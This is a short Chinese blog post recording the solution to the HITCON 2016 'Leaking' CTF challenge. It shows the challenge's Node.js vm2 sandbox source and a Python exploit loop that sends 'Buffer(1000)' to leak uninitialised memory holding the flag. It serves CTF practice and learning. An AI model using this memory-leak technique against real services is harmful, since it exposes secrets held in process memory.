[HITCON 2016]Leaking

最新推荐文章于 2022-06-18 23:45:52 发布

fmyyy1

最新推荐文章于 2022-06-18 23:45:52 发布

阅读量332

点赞数 1

分类专栏：沙箱逃逸 # ctf做题记录文章标签： ctf

本文链接：https://blog.csdn.net/fmyyy1/article/details/117263956

版权

ctf做题记录同时被 2 个专栏收录

49 篇文章 4 订阅

订阅专栏

沙箱逃逸

2 篇文章 0 订阅

订阅专栏

"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});

很明显是沙箱逃逸，nodejs一直不怎么懂，得找个时间学一学。
大佬的wp
总之，低版本nodejs可以用buffer来查看内存，调用过的变量都会存在内存中
exp:

import requests
import time
url = 'http://f9cc79c4-3cbf-4359-af14-36fb38258de5.node3.buuoj.cn/?data=Buffer(1000)'
response = ''
while 'flag' not in response:
        req = requests.get(url)
        response = req.text
        print(req.status_code)
        time.sleep(0.1)
        if 'flag{' in response:
            print(response)
            break